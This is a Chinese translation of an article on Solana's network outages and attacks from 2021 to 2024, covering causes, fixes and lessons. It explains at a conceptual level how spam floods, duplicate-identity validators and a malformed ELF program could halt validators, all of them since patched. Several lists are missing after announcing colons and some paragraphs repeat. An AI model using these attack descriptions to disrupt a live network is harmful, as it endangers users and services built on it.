Solana slots per second during the Grape IDO outage of September 14th, 2021 (Data source: Jump Crypto)
原始交易数据超过 1 Gbps,每秒 120,000 个数据包 — 事务泛滥验证器的 mempool。
Solana slots per second during the Grape IDO outage of September 14th, 2021 (Data source: Jump Crypto)
其中一个机器人构造其事务以写入锁定 18 个关键帐户,包括全局 SPL 代币程序和 Serum DEX 程序。这阻止了与这些帐户交互的所有事务,从而严重降低了 Solana 的并行处理能力。网络不是独立执行事务,而是受到了瓶颈,按顺序处理事务——加剧了拥塞。
在 IDO 事件期间,验证器收到了大量机器人驱动的事务,反过来又将过多的事务转发到下一个领导者,从而加剧了拥塞。此外,Solana 的 RPC 节点自动重试失败的事务,这是一项旨在提高可靠性的功能。但是,这种重试机制在极端拥塞的情况下加剧了事务泛滥,使旧事务保持在流通中而不是允许网络恢复。
在高拥塞的情况下,Solana 领导者未能包括投票事务,这些事务对于维护共识至关重要。结果,缺乏已确认的投票导致共识停滞,从而停止了新根块的生产。
主要原因是机器人交易产生的内存溢出,以及以下几个设计上的限制:遵守对创建顺序瓶颈的程序的写入锁定;验证器之间无限制的事务转发;激进的 RPC 重试行为;以及缺乏对投票交易的优先级排序。
在重新启动期间,当整数溢出错误导致验证器报告波动的权益数量时,出现了第二个问题,因为通货膨胀计算超出了 64 位整数的容量。
网络完全停止了 17 个小时,阻止了所有事务并中断了在 Solana 上构建的所有服务。中断影响了整个生态系统,从 DeFi 协议到 NFT 市场。
网络完全停止了 17 个小时,阻止了所有事务并中断了在 Solana 上构建的所有服务。中断影响了整个生态系统,从 DeFi 协议到 NFT 市场。
Solana 团队与验证器协调以使用更新后的软件重新启动网络,该软件实施了几项关键修复。
实施了四个关键修复:忽略程序上的写入锁定以防止事务瓶颈;添加对事务转发的速率限制以控制拥塞;实施具有更短过期时间和退避策略的可配置 RPC 重试行为;以及在验证器的 TPU 中优先处理投票事务,以在高负载期间维护共识。整数溢出错误在第二次重新启动之前已迅速修复。
Grape IDO 事件暴露了具有机器人流量的高需求事件如何触发 Solana 中的级联故障。常见程序上的写入锁定创建了瓶颈,而转发和重试机制加剧了拥塞。该事件证明了需要优先处理投票事务和进行适当的边界检查,从而导致 Solana 的拥塞处理能力得到了显着改善。
在 2022 年 1 月 6 日至 1 月 12 日期间,Solana 主网经历了严重的网络拥塞,导致性能下降和部分中断。网络在技术上保持运行,但容量大大降低。
这种中断是由机器人发送过多的重复事务引起的,大大降低了网络容量。块的处理时间比预期要长,从而导致下一个领导者分叉并进一步降低吞吐量。在其高峰时,事务成功率下降了多达 70%。
客户端难以处理网络日益复杂的高计算事务,从而暴露了其满足需求的能力的局限性。
主要原因是来自机器人发送过多的重复事务,从而超过了网络的处理能力。客户端无法有效地删除重复事务以及管理程序缓存耗尽加剧了这个问题。RPC 基础设施也缺乏足够的保护来防止批量调用滥用。
虽然网络没有完全停止(没有停机时间),但有效吞吐量却大大降低。用户经历了事务失败,延迟增加,并且难以通过公共 RPC 端点访问网络。由于事务成功率下降,DeFi 协议和其他应用程序面临着可靠性问题。
Solana 团队确定了瓶颈并发布了有针对性的性能改进。
为了解决这些问题,Solana 1.8.12 版本 专门针对程序缓存耗尽:
1 月份的拥塞凸显了 Solana 需要在共识和 RPC 级别上建立更好的垃圾邮件防护机制。它表明,即使没有完全的网络故障,性能下降也会严重影响用户体验。
这些事件加速了更强大的事务处理和重复数据删除系统的开发,为以后的改进(如 QUIC 采用和优先级费用)奠定了基础。
在上次拥塞事件仅仅两周后,Solana 面临着另一次稳定性危机——这次的危机严重到足以被视为持续约 29 小时的局部中断。从 2022 年 1 月 21 日开始,mainnet-beta 集群经历了极端的拥塞,验证器和 Solana 的状态仪表板报告说,从大约 UTC 时间 1 月 21 日 00:00 开始,“性能下降”,并在第二天持续存在。网络一直在努力直到部署新的软件版本。
Solana 被机器人程序重复重新发送相同的事务轰炸。这可能涉及 DeFi 清算人或套利机器人试图赢得竞争情况——他们会提交一个事务并垃圾邮件发送重复副本,以防较早的副本被删除。每个验证器的管道都因冗余工作而堵塞,从而大大降低了块的生产速度。
在此窗口期间,Solana 的块最终确定是间歇性的——仍然会生成块,但许多块是空的或仅包含投票。在 1 月 22 日,Solana 的公共 RPC 节点由于滥用而被下线,因为垃圾邮件发送机器人用批量调用轰炸 RPC 端点,迫使维护人员关闭它们以保护网络。
主要原因是来自机器人发送过多的重复事务,从而超过了网络的处理能力。事务的重复数据删除系统无法有效地处理这种极端量,并且该系统缺乏针对重复提交的有效限制机制。
由于网络吞吐量受到严重限制,该系统在很长一段时间内实际上是无法使用的。DeFi 协议和清算的事务都无法处理。该时间恰逢更广泛的加密货币市场低迷,从而加剧了 Solana 交易者的损失。此次中断也破坏了人们对 Solana 可靠性的信心,这是该月的第二次重大事件。
Solana 工程师夜以继日地工作以隔离原因。到 1 月 22 日晚上,他们发布了专门针对重复事务问题的 1.8.14 版本。
v1.8.14 补丁“旨在减轻该问题的最严重影响”,从而提高了事务重复数据删除的速度,并限制了领导者将接受到块中的重复事务的数量。
该版本包括对 SigVerify 阶段的增强(更早地丢弃重复签名)以及对最新块哈希缓存的调整,以更积极地拒绝重复项。一旦验证器更新到 1.8.14 并且该修复程序传播,网络就会在 1 月 23 日稳定下来。无需重新启动链。
此事件凸显了长期拥塞控制机制的迫切需要。Solana 团队概述了不久后基于费用的优先级系统和权益加权 QoS 的计划。在随后的几个月中,实施了诸如优先级费用市场和 QUIC 网络之类的功能。验证器运营商的协作响应有助于建立更具弹性的网络,其中有关更短的事务重试超时和 RPC 客户端上指数退避的建议有助于塑造未来的改进。
2022 年 4 月 30 日,Solana 经历了长达八个小时的中断,该中断由前所未有的事务请求激增触发。一些节点报告说每秒达到 600 万个请求,每个节点产生超过 100 Gbps 的流量。这种激增是由机器人驱动的,这些机器人试图通过 Metaplex 糖果机程序来保护新铸造的 NFT,该程序按先到先得的原则运行。
改编自 Helius 博客:Solana 中断的完整历史:原因、修复和吸取的教训
随着事务量激增,验证器耗尽了内存并崩溃,最终导致共识停止。投票吞吐量不足阻止了较早的块的最终确定,从而阻止了放弃的分叉被清除。验证器被必须评估的大量分叉所淹没,即使在重新启动后也超过了验证器的容量,并且需要手动干预才能恢复网络。
改编自 Helius 博客:Solana 中断的完整历史:原因、修复和吸取的教训
尽管事务请求比 2021 年 9 月的事件多出 10,000%,但网络仍然运行了更长的时间,这体现了验证器社区所做的改进。在就规范快照达成一致后,网络重新启动所花费的时间不到 1.5 个小时。
根本原因是来自机器人帐户的大量事务垃圾邮件争夺 NFT 薄荷。糖果机的先到先得的性质激发了用事务淹没网络的经济激励。由于事务量,验证器遇到了内存耗尽,并且当它们无法再处理分叉的积压时,共识机制停止了。
网络完全不可用,持续了八个小时,从而阻止了所有事务。NFT 薄荷事件中断,并且在此期间无法访问所有基于 Solana 的应用程序。
Solana 团队与验证器合作以重新启动网络,Metaplex 迅速实施了一种针对垃圾邮件来源的防御措施。
实施一个运行时 Bug 允许某些持久性 nonce 交易被处理两次——一次作为常规交易,另一次作为 nonce 交易——如果它们在 recent_blockhash 字段中使用的是最近的 blockhash 而不是持久性 nonce。这导致了验证者之间的非确定性行为,因为一些节点拒绝了第二次执行,而另一些节点接受了。关键的是,由于超过三分之一的验证者接受了该区块,因此阻止了所需的三分之二多数达成共识。
与标准交易不同,持久性 nonce 交易不会过期,并且需要一种独特的机制来防止重复执行。它们使用绑定到每个账户的链上 nonce 值进行串行处理,该值在每次处理持久性 nonce 交易时都会轮换。一旦轮换,同一个 nonce 交易不应再次有效。
根本原因是运行时如何处理使用最近 blockhash 的持久性 nonce 交易的逻辑错误。系统未能正确分离常规交易和持久性 nonce 交易的域,从而允许在两种上下文中解释和执行某些交易,从而导致验证器网络中不一致的状态更改。
网络中断了大约四个半小时,阻止了所有交易处理。依赖持久性 nonce 的服务(特别是预先签署交易的托管服务)即使在立即中断解决后也受到影响,因为该功能已暂时禁用。
Solana 团队识别 了该问题,并通过完全禁用持久性 nonce 交易来实施临时解决方案,从而使网络能够恢复运行。
为了永久性地解决该问题,Solana 1.10.23 实施了以下几项关键更改:
这些更改在两种交易类型之间创建了清晰的分隔,从而防止了将来由此媒介造成的共识失败。
持久性 nonce Bug 突出表明,即使没有网络拥塞或高负载,交易处理中细微的逻辑错误也可能导致共识失败。它证明了区块链系统中域分离的重要性,在这些系统中,交易类型具有不同的验证规则。该事件还强调了在分布式验证器网络中维护确定性执行的挑战,特别是对于具有非标准处理规则的特殊交易类型。
2022 年 9 月,Solana 经历了 8 个半小时的中断,该中断是由分叉选择规则中的 Bug 触发的,该 Bug 导致共识失败。与之前与交易拥塞相关的事件不同,这次中断源于验证器如何处理重复区块的一个细微问题。
中断是由验证器在同一区块高度错误地生成重复区块触发的。发生这种情况的原因是验证器的主节点及其备用节点同时变为活动状态,使用相同的节点标识,但提出了不同的区块。这种情况在中断前持续了至少 24 小时,在此期间,网络正确处理了验证器的重复领导者插槽。
由于分叉选择逻辑中的 Bug,当网络遇到无法恢复的分叉时,集群最终停止。此 Bug 阻止了区块生产者在前一个区块上构建,从而导致共识失败。
Adapted From Helius Blog: A Complete History of Solana Outages: Causes, Fixes, and Lessons Learnt
分叉是 Solana 上经常发生的事件,验证器通常通过对齐具有多数投票(最重分叉)的分叉来解决这些问题。当验证器选择错误的分叉时,它必须切换到最重分叉才能与网络保持同步。但是,在这种情况下,如果验证器的插槽与其上次投票的插槽匹配,则验证器无法恢复到最重的银行。此缺陷导致验证器保持卡住,从而阻止了共识的进展。
根本原因是分叉选择逻辑中的 Bug,该 Bug 阻止了验证器在存在重复区块时正确切换到多数分叉。当验证器尝试从其分叉过渡到多数分叉时,由于两个分叉的公共祖先(重复区块)未得到正确处理,因此过渡失败。这阻止了验证器识别并加入多数分叉,从而导致网络碎片化。
网络完全中断了大约八个半小时,阻止了所有交易处理。中断影响了所有基于 Solana 的应用程序和服务。
Solana 核心团队调查了该问题并开发了一个客户端补丁来解决分叉选择 Bug。
该问题在核心团队审查后得到解决。一个补丁已合并到主分支并反向移植到所有发布分支。该修复程序纠正了验证器如何处理分叉选择过程中的重复区块,从而使它们即使在同一高度存在重复区块时也能正确过渡到多数分叉。
重复区块 Bug 突出表明了区块链网络中强大的分叉选择规则的重要性。即使存在冗余机制,共识规则中的极端情况也可能导致全网络范围的故障。此事件表明,如果未正确协调,冗余系统(如验证器备用节点)有时会引入自己的风险。Solana 团队学会了改进验证器处理重复区块的方式,并加强了分叉选择逻辑,以更好地处理不规则情况。
2023 年 2 月 25 日,当一个异常大的区块压倒了网络的区块传播系统时,Solana 经历了长达近 19 小时的重大中断。
验证器的自定义分片转发服务出现故障,在其领导者插槽期间传输了一个异常大的区块(近 150,000 个分片),比标准区块大几个数量级。这压倒了验证器重复数据删除过滤器,导致数据不断转发。随着新区块的产生,问题变得更加严重,最终使协议饱和。
Adapted From Helius Blog: A Complete History of Solana Outages: Causes, Fixes, and Lessons Learnt
异常网络流量的激增压倒了 Turbine,迫使区块数据通过速度明显较慢的备用 区块修复 协议传输。尽管 Turbine 旨在通过过滤掉大型区块来承受它们,但分片转发服务的功能位于此过滤逻辑的上游,从而降低了其有效性。在降级期间,区块领导者自动切换到仅投票模式,这是一种安全机制,其中领导者排除经济性的非投票交易。
根本原因是分片转发服务中的重复数据删除逻辑失败,从而阻止了分片的冗余重传。此外,重传管道中的重复数据删除过滤器最初并非旨在防止 Turbine 树内的循环,从而加剧了问题。
网络实际上中断了近 19 个小时,阻止了正常的交易处理。由于安全机制将领导者转移到仅投票模式,因此在此期间只有投票交易包含在区块中。
网络已手动重新启动,降级到上次已知的稳定验证器软件版本,从而可以在开发永久性修复程序的同时恢复操作。
为了缓解这些问题,Solana v1.13.7 和 v1.14.17 引入了以下几项关键改进:
大型区块事件表明,单个异常情况如何级联到全网络范围的故障中。它突出表明了强大的重复数据删除机制和在区块传播管道的所有阶段进行适当过滤的重要性。此事件促使人们对 Solana 如何处理区块传播进行了重要改进,特别是对于异常的极端情况。
2024 年 2 月,Solana 经历了五个小时的中断,该中断是由程序缓存机制中的一个细微 Bug 引起的,该 Bug 触发了一个无限的重新编译循环。
Agave 验证器在执行引用它们的所有交易之前,都会对所有程序进行即时 (JIT) 编译。为了优化性能,频繁使用的程序的 JIT 输出会被缓存,从而减少不必要的重新编译。作为 Agave v1.16 的一部分,现有的缓存机制 LoadedPrograms 已被一种称为 ExecutorsCache 的新实现所取代。
LoadedPrograms 跟踪程序变为活动状态的插槽(称为有效插槽高度),以便在链上程序数据更新时检测缓存失效。大多数程序的有效插槽高度都来自其部署插槽,该插槽存储在其链上帐户中。但是,使用旧版加载程序部署的程序不会保留此部署插槽,因此 LoadedPrograms 会为它们分配零的有效插槽高度作为解决方法。
当程序的字节码被替换时,LoadedPrograms 会临时插入一个具有正确有效插槽高度的条目。如果此条目被逐出,则 JIT 输出将被丢弃,该程序将被标记为已卸载,但有效插槽高度将被保留。当交易稍后引用此卸载的程序时,LoadedPrograms 会重新编译它并以其有效插槽高度重新插入一个条目。
对于旧版加载程序程序,新的 JIT 输出会被分配一个零的插槽高度,将其置于先前的卸载条目之后。结果,LoadedPrograms 从未将该程序识别为已加载,从而在每次迭代时触发一个连续的重新编译循环。
根本原因是缓存系统中的插槽高度冲突,特别是影响使用旧版加载程序部署的程序。该 Bug 创建了一种情况,即程序不断地被重新编译,但由于原始程序条目和重新编译的程序条目之间处理的有效插槽高度不一致,因此它永远不会被识别为已加载。
由于在中断期间超过 95% 的集群权益都在运行 Agave v1.17,因此大多数验证器都停留在包含触发无限循环的交易的区块上,从而导致网络中断将近五个小时。
该 Bug 在前一周 Devnet 集群中断的调查期间已被发现,并且已计划部署补丁。
选择的缓解措施是将更改反向移植到 Agave v1.17,并在网络重新启动后立即删除功能门。这禁用了负责触发 Bug 的旧版加载程序,从而防止了无限重新编译循环的进一步发生。
该事件突显了在区块链网络中维护与旧版系统向后兼容的风险。缓存机制中的极端情况可能会产生全网络范围的影响,尤其是在它们影响核心程序执行时。它表明了在向程序缓存和执行等关键子系统引入新优化时进行彻底测试的重要性。
2024 年 8 月,Solana 实施了一个协调的漏洞补丁,以解决 Agave 客户端中的一个关键安全缺陷,而不会导致网络停机。此事件既展示了 Solana 安全响应过程的成熟度,又引发了对去中心化网络中协调的质疑。
8 月 5 日,Anza 的核心工程师收到外部研究人员报告的 Agave 客户端中的一个漏洞警报。 Solana 程序使用 LLVM 编译为可执行和可链接格式 (ELF)。该漏洞源于这些生成的 ELF 文件中不正确的地址对齐假设。虽然 ELF 清理通常会强制执行各种完整性检查,但它不会验证 .text 部分的对齐。
这种疏忽可能允许恶意制作的 ELF 文件定义一个未对齐的 .text 部分,从而导致虚拟机跳转到无效地址,从而导致主机分段错误并使验证器崩溃。攻击者可以通过使用 CALL_REG 操作码创建一个恶意的 Solana 程序,操纵 ELF 文件以使 .text 部分未对齐,并将其部署到网络来利用这一点。
根本原因是 Solana 虚拟机中 ELF 文件的验证不完整。具体来说,系统未能检查 .text 部分的对齐,从而为恶意程序创建了崩溃验证器的潜在媒介。
由于该漏洞在被利用之前已得到修复,因此没有实际的网络停机时间。但是,如果未解决,攻击者可能会通过导致领导者验证器崩溃来暂停整个网络。
Anza 的工程师迅速开发了一个补丁,然后由多个第三方安全公司对其进行了审核。该补丁通过协调的、保密的过程进行部署,以防止在更新窗口期间被利用。
到 8 月 7 日,Solana 基金会的成员开始私下联系验证器,分享一条哈希消息,确认了事件的日期和唯一标识符。在 UTC 时间 8 月 8 日下午 2 点,验证器运营商收到了从已知 Anza 工程师的 GitHub 存储库下载、验证和应用该补丁的说明。
到 UTC 时间 8 月 8 日晚上 8 点,绝大多数权益已被修补,从而保护了网络。仅在此里程碑之后才公开披露该漏洞。
该补丁更新修复了 ELF 验证过程,以正确检查 .text 部分的对齐,从而防止潜在的分段错误攻击。
此事件表明了区块链网络中负责任的披露和协调的安全响应的重要性。在没有停机的情况下修补关键漏洞的能力反映了 Solana 日益成熟的安全过程。
该事件突出表明,即使是虚拟机中像内存对齐这样的低级实现细节也可能造成重大的安全风险,从而强调了对所有外部提供的输入(特别是可执行代码)进行全面验证的重要性。
与核心协议中断并行,Solana 在 2022-2024 年期间遭受了许多网络级攻击和压力测试。这些攻击包括 DDoS 式垃圾邮件洪水、以验证器为目标的漏洞利用、RPC 攻击和内存池 (Turbine) 操纵尝试。下面我们分析了这些事件和媒介,重点介绍了攻击者如何试图破坏 Solana 网络、他们产生了什么影响,以及生态系统如何响应并加强了网络。
在 2022 年,机器人垃圾邮件是 Solana 上网络级“攻击”的主要形式,它利用其低费用使网络过载。我们在上面详细介绍了 2022 年 1 月的高计算垃圾邮件和 2022 年 4 月的 NFT 铸造机器人。从攻击的角度来看,这些事件本质上是通过交易洪水进行的分布式拒绝服务 (DDoS) 攻击,即使其动机是出于利润而不是纯粹的恶意。关键特征和对策包括:
Solana 极低的费用(几美分)使得向网络发送数百万笔交易在经济上是可行的。攻击者或机会主义的投机者利用了 Solana 在 2022 年初在拥塞时没有动态增加费用的事实。
因此,他们可以以极低的成本消耗巨大的带宽和验证器计算资源。在 2021 年 9 月的 Grape IDO 攻击期间(就在我们的时间范围内),机器人用超过 40 万 TPS 和超过 1 Gbps 的流量淹没了验证器,超过了硬件限制。同样在 2022 年 4 月,糖果机机器人注入了 600 万 TPS。这些都是经典的 DDoS 模式——推动系统超出容量的容量攻击。
在采用 QUIC 之前,Solana 的网络依赖于 UDP,它是无连接的,没有内置的流量控制。攻击者通过向验证器发送大量 UDP 数据包(交易数据报)来利用这一点。在没有握手或许可的情况下,验证器平等地对待所有传入数据包,从而允许垃圾邮件挤出合法流量。
在某些情况下,负载“超过了网络接口的物理限制,导致在到达验证器之前,交换机端口处的数据包丢失”。这实际上是一种 UDP 洪水攻击。2022 年底 QUIC 的实施通过强制执行会话级流量控制和速率限制解决了这个问题,从而显着降低了纯 UDP 垃圾邮件的有效性。截至 2023 年 QUIC 之后,Solana“没有报告与垃圾邮件相关的停机案例”,这表明 QUIC 是在通过数据包洪水缓解 DDoS 方面的一个里程碑式的改进。
一种特定的垃圾邮件策略是不停地发送重复交易,这在 2022 年 1 月 21 日至 22 日的事件中可见。机器人会生成一笔交易(以清算头寸或套利 DEX 订单),然后提交同一交易的数百份副本。
由于 Solana 的 signature verification 阶段最初没有立即在全网络范围内拒绝重复签名(它会在每个验证器上执行此操作,但机器人可以发送到许多节点),因此重复项仍然消耗资源。这本质上是一种在不创建新交易的情况下放大负载的方式。
v1.8.14(2022 年 1 月)中的修复改进了签名去重逻辑。此外,Solana 引入了“乐观确认”和快速区块哈希过期,以降低重复交易垃圾邮件的有效性——默认情况下,交易在 2 分钟后过期,因此超出该时间窗口的垃圾邮件没有好处。
垃圾邮件攻击导致吞吐量崩溃和延迟峰值。用户遇到超时,并且必须重复重试交易(如果用户/机器人不断提交重试,这反过来可能会加剧垃圾邮件)。在 DeFi 环境中,这导致了非自愿清算(因为用户无法调整头寸)和抢先交易失败(合法的套利交易员输给了只是蛮力执行交易的垃圾邮件发送者)。需要及时响应的链上程序(如预言机更新)受到了影响,尽管 Solana 的共识设计确保了链不会错误分叉——它要么减速要么停止。
除了核心协议补丁之外,应对这些 DDoS 攻击的网络级策略包括:
加权权益 QoS: 确保源自非加权权益来源(例如,女巫节点)的垃圾邮件受到限制。启用加权权益 QoS 后,攻击者需要控制很大比例的权益才能垄断领导者流量,这在经济上是令人望而却步的。
费用市场和优先级费用: 通过允许用户附加费用,垃圾邮件攻击变得昂贵。在 2022 年年中,Solana 启用了每个计算单元的优先级费用——因此,如果网络繁忙,只有那些支付更多费用(或使用费用市场)的人才能先通过。攻击者现在必须燃烧更多的 SOL 才能维持垃圾邮件攻击,这在早期并非如此。
运行时限制: Solana 还对每笔交易的计算单元(CU)设置了上限(已经大约 200k CU)以及缓冲的传入数据包数量,以防止资源耗尽。在负载较高期间,还讨论了最低费用调整。
在这些措施之后,纯粹的垃圾邮件攻击变得不那么频繁。值得注意的是,“自实施 QUIC 以来,Solana 还没有因垃圾邮件而中断的案例”,这强调了这些网络级升级如何缓解交易洪水作为一种攻击媒介。
一些网络级事件涉及验证器或恶意节点的行为,以扰乱共识。虽然不常见,但这些代表了验证器节点级别的攻击或漏洞利用:
2022 年 9 月 30 日的中断是由验证器的重复区块生产意外触发的。但是,恶意行为者可能会故意运行两个具有相同身份的验证器来混淆网络。在修复之前,这可能会触发分叉选择 Bug。
修复后,生成重复区块不太可能停止网络,但仍然会浪费资源。Solana 的共识现在通过忽略第二个区块并继续来处理重复项,只要分叉选择 Bug 已打补丁。此外,社区已非正式地同意运行相同的身份节点是危险的;监控可以检测验证器是否重复生成重复项并将其删除(尽管尚未实施针对此的正式罚没)。本质上,“重复区块”攻击媒介已通过 2022 年 10 月的补丁和运营商的尽职调查来关闭。
验证器可能会尝试用虚假的分片或修复程序向 Turbine 传播层发送垃圾邮件。2023 年 2 月的事件是通过一个巨大的区块而无意中产生的。恶意验证器可能会类似地尝试传播极其大的虚假区块或发送无意义的数据来阻塞其他人。Solana 的纠删码和分片版本控制提供了一定的保护——无效的分片无法通过 CRC 检查并被丢弃。但是,无效数据包的超载仍可能消耗带宽。
2023 年 2 月之后的去重改进使得即使不良行为者用重复的垃圾分片淹没网络,验证器也能快速识别并删除它们。还有“Turbine 白名单 / 黑名单”的概念——如果一个节点始终如一地广播无效数据,对等方可以停止中继其流量。
验证器级别的攻击可能涉及扣留投票或创建分区。例如,控制 >33% 的恶意验证器可能拒绝投票支持诚实的领导者区块,从而阻止最终确定。这更多的是共识攻击而不是网络漏洞利用,并且尚未在 Solana 上观察到(它需要大量权益,这很难获得)。另一种方法:攻击者可能会用虚假对等方消息淹没传播网络(集群信息),从而可能导致混乱或过度负载。Solana 的传播也根据权益加权,以防止女巫对等方占据主导地位。
由于 Solana Labs 的软件是主要的客户端,因此一个担忧是如果攻击者在验证器代码中找到远程漏洞利用,他们可能会使节点崩溃或控制它们。在 2022-24 年期间,没有公开观察到此类漏洞利用,但 Solana 有一个强大的错误赏金计划。
例如,2022 年初,一位研究人员发现了 Solana 的 BPF JIT 中的内存耗尽漏洞(通过制作一个在无限循环中泄漏内存的 eBPF 程序)——这本可以用于通过上传恶意智能合约来 DoS 验证器。
该报告很快得到解决,并支付了赏金。Solana 将其归类为 DoS Bug 并修补了 JIT 以防止此类内存泄漏。这种漏洞利用位于核心 Bug 和攻击的交汇处:恶意行为者本可以使用它来使执行恶意程序的每个验证器崩溃。值得庆幸的是,它被抢先抓获了。
Solana 的 RPC 基础设施和交易转发机制也出现了攻击尝试:
Solana 的公共 RPC 节点(以及由 GenesysGo、Serum 等提供商运行的节点)成为通过过度请求进行拒绝服务的目标。2022 年 1 月,主要的公共 RPC 不得不因垃圾邮件批处理请求而暂时关闭。攻击者可能会使用 getProgramAccounts
或交易提交请求等调用淹没 RPC,从而耗尽节点的带宽或内存。与验证器不同,RPC 节点最初具有更少的速率限制。
为了应对这种情况,许多 RPC 提供商引入了速率限制和 API 密钥。Solana 社区还优化了 RPC 软件——限制单个请求可以获取的历史记录,并要求某些繁重的调用使用 websockets 或特定端点来隔离负载。到 2022 年年中,大多数免费 RPC 端点都有保护措施,从而减少了广泛的 RPC 中断的发生。尽管如此,RPC 攻击不会直接停止网络(验证器继续运行),但它会扰乱用户访问,并且当区块浏览器和钱包无法连接时,可能会使网络看起来已关闭。
从技术上讲,Solana 没有传统的内存池;交易会立即转发给当前的领导者。但是,攻击者试图利用此管道。一种策略是利用缺乏费用优先级(在该问题修复之前)来简单地用低价值交易填充领导者的交易队列,以便更高价值的交易没有空间——本质上是一种“内存池填充”攻击。这只是另一种形式的垃圾邮件攻击,费用市场通过允许真正的用户竞标垃圾邮件来解决它。
另一个角度是 Turbine 中断:由于 Turbine 将一个区块分解为分片并将不同的部分发送给不同的对等方,因此狡猾的攻击者可能会尝试丢弃或延迟某些分片数据包(如果他们控制某些节点或 DDoS 某些节点)以阻止区块传播。Solana 的设计包括冗余(恢复分片),因此即使某些路径受到攻击,其他路径也可以填充丢失的数据。没有已知的有针对性的 Turbine 数据包丢弃事件被记录在案,这很可能是因为它需要一次攻击许多验证器的连接——这是一项艰巨的任务。
Solana 的 RPC 也迁移到了 QUIC。之前,可以像攻击验证器一样对 RPC 的 UDP 端口进行垃圾邮件攻击。使用 QUIC,攻击者需要完成握手,这将限制连接启动的速率。发生了一些小事件,攻击者试图打开数千个 QUIC 连接来耗尽节点的套接字。这可以通过连接限制和快速禁止服务器上的 IP 来缓解。
在整个 2022-2024 年期间,Solana 社区识别并修复了许多漏洞:
从财务角度来看,这些网络攻击中的大多数都没有直接窃取资金(与 Solana 应用程序上的智能合约黑客攻击不同)。影响是运营停机、因无法采取行动而导致的清算以及对 Solana 可靠性的声誉损害。网络通过迅速发展做出响应:到 2024 年,Solana 的架构比 2022 年初的架构强大得多。例如,在实施 QoS 和费用市场后,没有再次发生由机器人驱动的中断,并且在修复 nonce 和分叉 Bug 后,除了 2023 年 2 月和 2024 年 2 月的问题外,没有发生共识停顿,这些问题本身导致了进一步的加强。
Solana 从 2021 年到 2025 年的安全历程讲述了一个引人入胜的火灾考验的故事。该网络因漏洞利用遭受了大约 5.3 亿美元的直接损失,并在其前 4.5 年中经历了 11 次重大中断。然而,到 2024 年,事故发生率已急剧下降,自 2022 年以来没有发生重大盗窃事件,并且在 2024 年仅发生了一次短暂中断。重大事件之间的平均时间从 2022 年的大约每 6 周一次提高到到 2024 年大约每年一次——这是生态系统成熟的明显证据。
虽然 Solana 早期的安全记录令人担忧,但视角很重要。以太坊的生态系统,尽管其核心协议更加稳定,但在 2021-2024 年期间遭受了超过 30 亿美元的 DeFi 漏洞利用——是 Solana 总损失的几倍。网络面临的安全挑战与其使用和经济价值成正比;Solana 的高吞吐量和低费用的结合创造了独特的攻击媒介,其他链尚未大规模地面对这些媒介,尤其是在网络级垃圾邮件和拥塞方面。
Solana 安全实践的有效性已大大提高。像 26 亿美元的 SPL 舍入误差这样的关键漏洞是在没有利用的情况下负责任地披露的,并且该生态系统现在为核心协议问题提供高达 100 万美元的赏金。响应能力已显着成熟——2022 年 6 月部署的 nonce Bug 补丁和对 Slope 钱包漏洞的协调响应证明了这一点,这些响应在数小时内限制了进一步的损害。
Solana 早期的“构建、破坏、构建”理念在其安全演变中得到了字面体现。每个事件,尽管代价高昂,都导致了具体的改进:拥塞攻击推动了 QUIC、加权权益 QoS 和优先级费用的实施;重复区块 Bug 加强了分叉选择规则;无限重新编译循环问题促使清理旧版系统。时间记录显示了清晰的学习和加强轨迹。
2025 年 4 月的 Solana 与 2020 年的 Beta 网络几乎没有相似之处。它已经从其安全挑战中脱颖而出,成为一个更强大的平台,具有改进的架构、更好的治理流程和更强大的社区协调。通过 Firedancer 引入客户端多样性和增强的形式化验证方法标志着从被动修补到主动安全的转变。Solana 的旅程证明了关于区块链安全的一个基本真理:弹性不是在受控环境中构建的,而是通过经受真实世界的攻击并做出有效响应来构建的。随着网络不断成熟,其独特的高性能和经过实战考验的安全基础设施的结合使其成为下一代去中心化应用程序的领先区块链平台。
Solana 中断的完整历史:原因、修复和经验教训 — Lostin, Helius Blog
Solana 程序安全性的搭便车指南 — 0xIchigo, Helius Blog
Save (formerly Solend) 在 X 上:“攻击者颠覆了一个不安全的...
如何成为百万富翁,一次 0.000001 BTC — Neodyme
Wormhole 加密货币平台在...后被黑客入侵,损失 3.25 亿美元
Wormhole 加密货币平台在...后被黑客入侵,损失 3.25 亿美元
Solana 的 SOL 在 Wormhole 漏洞利用造成 3.26 亿美元损失后下跌 10%
[2022 年没有确凿证据表明 Solana 黑客攻击是由漏洞引起的:Slope
用于数据渗漏的 Gmail:恶意 npm 包以 Solana 为目标...
重新启用并完成修复网络确认的重复插槽的工作 · Issue #11713 · solana-labs/solana · GitHub
Solana 网络再次宕机 — 立即查看实时状态 — Cryptonary
- 原文链接: collinsdefipen.medium.co...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!